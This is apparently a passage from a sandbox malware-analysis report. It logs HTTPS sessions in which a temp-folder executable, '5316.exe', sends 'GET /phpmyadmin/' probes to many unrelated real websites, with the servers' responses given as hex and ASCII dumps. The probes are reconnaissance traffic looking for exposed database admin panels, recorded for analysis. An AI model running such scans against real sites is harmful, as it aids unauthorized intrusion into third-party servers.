2023-12-20 02:13:19 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: micresearch.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	769	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: private Set-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.net X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7zRDQX%2FpSumFFp4xbizCuRVsJWotZ8YPFdFmn6Y12SyykqMZvMpeR0vIHiYUX2CheQqsn%2FkbZejPBXemcdDQHZcmFDar3LvIg1OGAShiYnKyuhFpPTr8WhTnjdXaZ80ri9g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845d9108436c88-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:20 UTC	109	IN	Data Raw: 36 37 0d 0a 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 68 61 73 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a Data Ascii: 67The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.
2023-12-20 02:13:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	50837	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:19 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: mobiamericas.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_M49sQsc+vIrt1AstfP8nRmYY20ivf4PAnO++xRXfgyRBfNF/941tncupt56K6IRfAx1zyerenG4yZwDAy77q0A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:20 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	51156	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:19 UTC	170	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_bL3YTideDcLa2qjRTSvMdYiDLCrc5AQ6NmwIQvP6yULWU1axzviROUDpdCr0PXTXzk6gzCAoMEuoDprbYhXBzg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:20 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	51262	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	179	OUT	GET /phpmyadmin/ HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_dV4p3s1imHiMwQaBshk9GRYM6anWDfUO731frq4kC1W3l/d/SXUEQ8aXEl9Xke4Nu+8100pu1IWSFW6HpCFbFA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:20 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	51393	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Hv4JwNTvitbuPMhtY4lJnRcRS3FzGH88PEQNw3NbwpvZg5K+kesv4IUt5XXDUjN/SCucdjlowbOVsvkk2xjPFA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:20 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	51478	192.185.100.42	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: conalcorp.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	324	IN	HTTP/1.1 302 Found Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache X-Robots-Tag: noindex, nofollow Upgrade: h2,h2c Connection: Upgrade, close Location: /404.html Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	51380	108.163.227.170	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	179	OUT	GET /phpmyadmin/ HTTP/1.1 Host: activegraphics.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	330	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:20 UTC	7862	IN	Data Raw: 31 66 31 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 41 63 74 69 76 65 20 47 72 61 70 68 69 63 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 Data Ascii: 1f13<!doctype html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – Active Graphics</title><met
2023-12-20 02:13:20 UTC	99	IN	Data Raw: 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 Data Ascii: : auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: le
2023-12-20 02:13:20 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:20 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 Data Ascii: 1ff8ft;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !impor
2023-12-20 02:13:20 UTC	5	IN	Data Raw: 36 62 36 0d 0a Data Ascii: 6b6
2023-12-20 02:13:20 UTC	1718	IN	Data Raw: 25 32 43 37 30 30 69 74 61 6c 69 63 25 32 43 38 30 30 25 32 43 38 30 30 69 74 61 6c 69 63 25 32 43 39 30 30 25 32 43 39 30 30 69 74 61 6c 69 63 25 37 43 52 6f 62 6f 74 6f 2b 53 6c 61 62 25 33 41 31 30 30 25 32 43 31 30 30 69 74 61 6c 69 63 25 32 43 32 30 30 25 32 43 32 30 30 69 74 61 6c 69 63 25 32 43 33 30 30 25 32 43 33 30 30 69 74 61 6c 69 63 25 32 43 34 30 30 25 32 43 34 30 30 69 74 61 6c 69 63 25 32 43 35 30 30 25 32 43 35 30 30 69 74 61 6c 69 63 25 32 43 36 30 30 25 32 43 36 30 30 69 74 61 6c 69 63 25 32 43 37 30 30 25 32 43 37 30 30 69 74 61 6c 69 63 25 32 43 38 30 30 25 32 43 38 30 30 69 74 61 6c 69 63 25 32 43 39 30 30 25 32 43 39 30 30 69 74 61 6c 69 63 26 23 30 33 38 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 26 23 30 33 38 3b 76 65 72 3d 36 2e 34 Data Ascii: %2C700italic%2C800%2C800italic%2C900%2C900italic%7CRoboto+Slab%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%2C900%2C900italic&display=swap&ver=6.4
2023-12-20 02:13:20 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-12-20 02:13:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	51505	23.227.38.32	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	176	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ecochild.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	178	IN	HTTP/1.1 403 Forbidden Server: cloudflare Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Content-Length: 151 Connection: close CF-RAY: 83845d922ac69ac0-MIA
2023-12-20 02:13:20 UTC	151	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	51595	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	181	OUT	GET /phpmyadmin/ HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	451	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 59 Location: https://www.geoffreynolds.com.au/phpmyadmin/ Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:20 GMT X-Served-By: cache-gnv1820028-GNV X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038400.439512,VS0,VE35 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:20 UTC	59	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 6f 66 66 72 65 79 6e 6f 6c 64 73 2e 63 6f 6d 2e 61 75 2f 70 68 70 6d 79 61 64 6d 69 6e 2f Data Ascii: Redirecting to https://www.geoffreynolds.com.au/phpmyadmin/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	51564	185.230.63.107	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	181	OUT	GET /phpmyadmin/ HTTP/1.1 Host: newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	839	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Length: 0 Connection: close location: https://www.newriverclimbing.com/phpmyadmin strict-transport-security: max-age=3600 x-wix-request-id: 1703038400.4701654610181116124 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLsNSikLMYkJJqXV1PzQmZDtGkFvVdT2Nq6f3Hedj7ewB,2d58ifebGbosy5xc+FRalq/opwH/6/oT1kZXhDyGQxt3vu//UuWCv/0tsMeoz9K6EpKKUOcNHpK3TM1rJJ5Tlw==,2UNV7KOq4oGjA5+PKsX47HWShCS4DzdxDWECJm/3qSgfbJaKSXYQ/lskq2jK6SGP,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,P9YodI6ewFhbf/YtWyJZ2cRJsHjpsrbYq+av+BuPZ10=,0gGrL7iazMoiuqlb7dEO3WO6CuZTil5ccmCAr6IM8iDq4CE+Ostk6dcoTXCt3mCrRA65vs83XfDBPfXS0pi9uA== Cache-Control: no-cache X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	51480	213.186.33.19	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: eb-concept.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	205	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: Apache X-Powered-By: PHP/7.1 Vary: Accept-Encoding
2023-12-20 02:13:20 UTC	4139	IN	Data Raw: 33 32 32 64 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 45 42 43 20 54 48 45 20 45 56 45 4e 54 20 42 20 54 4f 20 42 20 43 4f 4d 50 41 47 4e 59 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 61 6e 69 6d 61 74 69 6f 6e 73 20 63 6f 6d 6d 65 72 63 69 61 6c 65 73 2c 20 61 6e 69 6d 61 74 69 Data Ascii: 322d<html> <head><title>EBC THE EVENT B TO B COMPAGNY</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <meta name="robots" content="index, follow" /> <meta name="keywords" content="animations commerciales, animati
2023-12-20 02:13:21 UTC	7240	IN	Data Raw: 3b 0a 2f 2f 20 61 6c 65 72 74 28 27 76 61 6c 65 75 72 20 63 6f 64 65 4f 6b 3a 20 27 2b 20 63 6f 64 65 4f 6b 29 3b 0a 20 20 20 20 76 61 72 20 76 69 6c 6c 65 4f 6b 20 3d 20 76 65 72 69 66 56 69 6c 6c 65 28 66 2e 76 69 6c 6c 65 29 3b 0a 2f 2f 20 61 6c 65 72 74 28 27 76 61 6c 65 75 72 20 76 69 6c 6c 65 4f 6b 3a 20 27 2b 20 76 69 6c 6c 65 4f 6b 29 3b 0a 20 09 76 61 72 20 74 65 6c 65 70 68 6f 6e 65 4f 6b 20 3d 20 76 65 72 69 66 54 65 6c 65 70 68 6f 6e 65 28 66 2e 74 65 6c 65 70 68 6f 6e 65 29 3b 0a 2f 2f 20 61 6c 65 72 74 28 27 76 61 6c 65 75 72 20 74 65 6c 65 70 68 6f 6e 65 4f 6b 3a 20 27 2b 20 74 65 6c 65 70 68 6f 6e 65 4f 6b 29 3b 0a 09 76 61 72 20 6d 61 69 6c 4f 6b 20 3d 20 76 65 72 69 66 4d 61 69 6c 28 66 2e 6d 61 69 6c 29 3b 0a 2f 2f 20 61 6c 65 72 74 28 Data Ascii: ;// alert('valeur codeOk: '+ codeOk); var villeOk = verifVille(f.ville);// alert('valeur villeOk: '+ villeOk); var telephoneOk = verifTelephone(f.telephone);// alert('valeur telephoneOk: '+ telephoneOk);var mailOk = verifMail(f.mail);// alert(
